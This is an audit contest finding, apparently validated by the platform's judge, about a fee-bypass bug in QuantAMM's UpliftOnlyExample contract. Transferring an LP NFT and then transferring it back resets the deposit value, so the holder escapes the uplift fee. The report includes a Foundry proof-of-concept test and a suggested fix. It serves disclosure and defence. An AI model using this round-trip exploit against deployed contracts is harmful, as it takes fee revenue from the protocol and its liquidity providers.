QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Users Can Bypass Uplift Fee by Transferring LP NFTs

Summary

In the UpliftOnlyExample::afterUpdate function, when an LP NFT is transferred, the lpTokenDepositValue is updated to the current value (lpTokenDepositValueNow) without accounting for the uplift fee up to that point. This allows users to transfer the NFT to another address and back, effectively resetting the fee calculation and bypassing the uplift fee.

Vulnerability Details

When an LP NFT is transferred, the following code updates the lpTokenDepositValue to the latest value:

feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow; // @audit uplift fee bypass
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);

This logic ignores any uplift fees that should have been applied to the NFT up to the transfer. If the NFT is transferred back, the uplift fee is effectively reset, and the user avoids paying the fee entirely.


Proof of Concept (PoC)

Consider this test case:

  1. Bob adds liquidity and receives an LP NFT.

  2. The pool's value doubles.

  3. Bob transfers the NFT to Alice.

  4. Alice transfers the NFT back to Bob.

  5. When Bob removes liquidity, no uplift fee is applied despite the price increase.

Here’s the test code:

function testbypassUpliftFeeDoublePositivePriceChange() public {
// Add liquidity so bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 2e18;
}
updateWeightRunner.setMockPrices(pool, prices);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
LPNFT lpNft = upliftOnlyRouter.lpNFT();
vm.prank(bob);
lpNft.transferFrom(bob, alice, 1);
vm.prank(alice);
lpNft.transferFrom(alice, bob, 1);
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
vm.stopPrank();
BaseVaultTest.Balances memory balancesAfter = getBalances(bob);
uint256 feeAmountAmountPercent =
((bptAmount / 2) * ((uint256(upliftOnlyRouter.minWithdrawalFeeBps()) * 1e18) / 10000)) / ((bptAmount / 2));
uint256 amountOut = (bptAmount / 2).mulDown((1e18 - feeAmountAmountPercent));
// Bob gets original liquidity with no fee applied because of full decay.
assertEq(
balancesAfter.bobTokens[daiIdx] - balancesBefore.bobTokens[daiIdx], amountOut, "bob's DAI amount is wrong"
);
}

Impact

Users can exploit this vulnerability to avoid paying uplift fees.

Tools Used

Manual code review

Recommendations

Calculate and Deduct Uplift Fee Before Transfer: When transferring the NFT, calculate the uplift fee owed by the current holder and deduct it before resetting the lpTokenDepositValue.

Updates

Lead Judging Commences

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.